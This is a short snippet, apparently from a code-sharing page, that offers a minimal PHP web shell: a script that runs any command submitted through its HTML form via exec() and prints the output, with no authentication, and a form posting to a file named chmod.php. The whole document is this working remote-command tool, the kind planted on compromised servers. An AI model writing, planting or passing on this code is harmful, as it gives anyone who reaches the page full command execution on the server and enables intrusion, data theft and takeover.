This is a simple shell that can be used to execute linux commands on server

phpShell

<?php
if($_POST['command']){
   $out = array();
   exec($_POST['command'],$out);
    echo '<pre>';
    foreach($out as $line) {
	    echo $line."\n";
	}
	echo '</pre>';
}
?>
<form method="post" action="chmod.php">
    <input type="text" name="command" />
    <input type="submit">
</form>